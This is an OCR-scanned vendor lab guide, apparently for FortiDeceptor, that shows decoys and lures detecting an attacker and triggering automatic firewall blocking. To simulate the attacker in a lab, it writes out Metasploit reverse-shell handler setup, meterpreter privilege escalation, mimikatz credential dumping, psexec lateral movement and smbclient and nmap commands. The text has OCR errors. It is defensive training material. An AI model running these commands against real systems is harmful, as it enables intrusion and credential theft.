
Execute commandvia nanotestixt
55H:

(@ 51secondslater (Feb 25 2021 17:33:24)

Execute commandvia Received disconnect from 192.168.2 201 port 4%694: disconnected by user
55H:
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RDP:

1. Open the RDP client and connect the Decoy over RDP protocol.

2. Open the command line and run several commands such as:
ping 8.8.8.8
net user
dir

3. Open a browser and access the website wfurltest.fortiguard.com.

aeEEe Feb 252021 17:57:17 Interaction 192.168.2.200

= Timeline BB Table & Refresh

Feb 25 2021 17:54:09

o § Attacker User: pamela

T Attacker IP: 192.168.2.200
® Attacker Port: 50703 b

@ rightafter (Feb 25 2021 17:54:09)

Open Port: From 192.168.2200:50703 To 192.165.2.20:3389

@ 3seconds later (Feb 25 2021 17:54:12)

Logon via Remote RDP Login with password: superman
Desktop:

@ 2minutes later (Feb 25 2021 17:56:38)

Launch process: &quot,C\Windows\system32\cmd exe&quot;

@ 2minutes later (Feb 25 2021 17:56:50)

Launch process: ping 5.8.8.8

@ 2minutes later (Feb 25 2021 17:57:03)

Launch process: net user

4.5 Lateral movement Detection: Expanding the attack surface

Lateral movement detection use case

Let's assume the attacker accessed a remote shell on a real desktop inside the network via a spear phishing attack and
started to move latterly based on information collected from the infected endpoint.

We will deploy a Deception Lure on the infected endpoint and run a malicious file to allow the attacker to get backdoor
access called meterpreter.
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To deploy a Deception Lure on an infected endpoint:

1.

S

7.

Go to the Windows desktop at the IP address 192.168.2.200 using the RDP Client with your credentials or through
the SSL-VPN web portal.

From the Windows desktop, access FortiDeceptor using your credentials.
a. Gotothe Decoy and Lure status menu.
b. Download the Deception Lure for the Windows 10 decoy from the windows desktop.

O = A mEﬂ & Running Desktop10

Unzip the file.
Open the Windows directory and run the file windows _token.exe to deploy the deception lures.
Access the Kali at the IP address 192.168.2.201 with your credentials.

After you access the KALI box, run the Metasploit tool:

root@kali-VM:$ msfconsole

root@kali-VM:$ use exploit/multi/handler

root@kali-VM:$ set payload windows/meterpreter/reverse tcp
root@kali-VM:$ set LHOST 192.168.2.201

root@kali-VM:$ set LPORT 4443

root@kali-VM:$ exploit

Go back to the windows desktop and run the file o £ fice . exe on the My Documents directory.

You should be able to access the KALI box through a backdoor session to the windows desktop machine called
meterpreter. This allows you to load the attacker framework and get full access to the Windows OS and extract
information such as saved passwords, network, and more.

The Deception Lure expands the attack surface and provides fake information and credentials to the threat actor to
deceive the malicious activities into engaging with a fake asset instead of a real one.

Exercise: Collect information from an infected machine

In this exercise, we will use the meterpreter backdoor to collect information from the infected machine and find and
decrypt the saved password in the windows credential manager and use them to move laterally.

Once the endpoint is compromised, the threat actor will use non-malicious commands and tools to collect information
without generating any security alerts. At this stage, our deception technology will detect the attack early in the chain.

To collect infromation from an infected machine:

1.

On the meterpreter session, please run the following commands to simulate the threat actor activity for collecting
information:

meterpreter > arp This command displays the endpoint ARP table

The network connection deception lure will inject a static ARP entry that points
to a Decoy.

The attacker will analyze the ARP table and will "learn" on a new network.

If the attacker tries to access the new IP from the ARP table, it will lead to a
decoy engagement that will generate an alert.
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meterpreter >
mount

show

This command will present the infected endpoint local drive and the attached
network drive.

The attacker will enter the drives to find sensitive files and learn from the files
about the endpoint owner (financial, HR, R&D, role, etc).

If the attacker enters the fake network drive, it will lead to a decoy engagement
that will generate an alert.

2. Onthe meterpreter session, please run the following commands to simulate the threat actor activity for password

dumping:
meterpreter >

meterpreter >
PID

meterpreter >
meterpreter >

meterpreter >

ps

migrate

getsystem
load kiwi

kiwi cmd

sekurlsa: :credman

Finds X64 process such as svchost and takes the PID number.

Puts the X64 process PID number.

Privileged escalation attack.
Loads the mimikatz tool.

Dumps the Windows credentials manager password.
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> kiwi cmd

Id

Now that the threat actor has dumped the infected endpoint password from the Windows credentials manager, the
stolen credentials will be used for lateral movement.

3. Onthe meterpreter session, please run the following commands to simulate the threat actor lateral movement

activity:
meterpreter > background Moves the backdoor session to the background to run more commands
from the Metasploit console.
meterpreter > use Uses psexec to get a remote shell on the Decoy 192.168.2.11

exploit/windows/smb/psexec

meterpreter > set RHOST Configure the IP address that we dump from the mimikatz dump
"TERMSRV IP" password attack.
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meterpreter > set SMBUser

"gail"

meterpreter > set SMBPass

"master"

meterpreter > set PAYLOAD

Configures the username that we dump from the mimikatz dump
password attack.

Configures the password that we dumped from the mimikatz dump
password attack.

Configures the remote shell payload for the backdoor access.

windows/meterpreter/bind

tcp

meterpreter > exploit

Runs the attack.

In the image below we can see that the fake credentials have no permission to inject the PSEXEC service for
remote shell access. Still, the Decoy will generate a security alert on the malicious connection.

2 Mar 01202113:41:37

= Timeline B Table & Refresh

Mar 012021 13:41:21
CF Attacker User: NiA
% Attacker IP

1921682 201

@ Attacker Port 41097

@ rightafter (Mar 012021 13:41:21)

Connection 192.168.2.201 N/A 192.168.2.11

Open Port: From 1921682 201:41097 To 1921682 11:445

=

MD5

Fila Size

File Type

AV Scan Result

Download Traffic PCAP
1572966e8e173721233ce3b7bbefd003
122KB

peap

Clean

@ 16seconds later (Mar 012021 13:41:37)

Close Port From 19214682 201:41097 To 1921682 11:445

The attacker still has more credentials to use from the password dump attack and will try to use them against IP

192.168.2.11.

The attacker will use the credentials (Nicole/121212) to access the endpoint disk over the SMB protocol.
4. Stop the Metasploit tool and use the SMB client on the KALI box to access 192.168.2.11

5. Run the following command from the KALI CLI:
smbclient -U nicole -L 192.168.2.11 (enter the password 121212)
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In this case, the credentials provide access to the Windows endpoint and present the existing network shares that
the credentials can access but even in this early stage of the attack, the FortiDeceptor will generate a security alert

on network drive access.

Mar01202113:53:05

i= Timeline BB Table £ Refresh

Mar 012021 13:52:45

E Attacker User: nicole
EF Attacker IP 192.168.2.201
@ Attacker Port: 44313

@ right after (Mar 012021 13:52:45)

Open Port: From 192.1682.201:46318

Interaction

To 192165.2.11:445

E 3 Download Traffic PCAP

MD5 270b0ba72c4f2¢3674103340419082¢2
FileSize ~ 17.7KB

FileType  pcap
AV Scan Result Clean

@ 5seconds later (Mar 01 2021 13:52:50)

Logon vianetshare:  SAMBA Login with password: 121212

@ 5seconds later (Mar 01 2021 13:52:50)

Logoffvianet share: SAMBA Logoff

@ 20seconds later (Mar 012021 13:53:05)

Close Port: From 192.1682201:46318
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5. Fabric Integration

]
Py

INTERNET ‘ External Hacker Machine

192.168.0.2 Portl — Internet— 192.168 .0.1/24

Port2 —-FDC -
192.168.1.0/24

192.168.1.1

FortiDeceptor >
192.168.2.1] Port3 - Network — 192.168.2.0/24

192.168.2.100 |Port2

Windows 10
_192.168.2.200

Exploit &
Lure Testing

| 192.168.2.201

Exploit/Scan
Against the Decoys

FortiDeceptor's ability to create a fabricated network of decoys across both IT and OT segments enables the detection of
external and internal threat actors across a broad surface.

By integrating analytics, driven by Al-based detection, FortiDeceptor provides an unambiguous early warning of an
impending threat campaign. Through Security Fabric integration, FortiDeceptor automatically triggers a policy action
with inline security controls, so containment of the threat is undertaken as part of the threat response.

This exercise will simulate a threat actor detection and mitigation automation by using the integration between the
FortiDeceptor and the FortiGate.

Let's configure the integration on the FortiDeceptor side:

1. Go to Fabric > integration devices.
2. Configure the following pamaters:

Block Severity Choose all
IP 192.168.1.1 (FortiGate IP)
Port 443 (Fortigate API PORT)
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Username
Password

VDOM

Exipiry

fortideceptor (account with admin permissions)
FortiDeceptor12#
root

3600

Integrate With New Device X

Enabled:

Mame:*

Block Severity:

Integrate Method:

Ip:"

Port:™
Username: *
Password:

WVdom: *

Expiry-™

I!!

fgtblocker1
low ] Medum | righ | criical |

FGT-REST-AFI b

192.165.1.1

admin

3600 seconds

Save Cancel

3. Totrigger a mitigation action, we need to simulate an attack against one of the Decoys.
Please access the KALI BOX over SSH and run the port scan command using the NMAP tool > nmap 192.168.2.11

4. Once the port scan is detected by the FortiDeceptor, the system will automate the mitigation by leveraging the
FortiGate API to create an FW blocking rule to isolate the attacker IP (7192.168.2.201) from the network.
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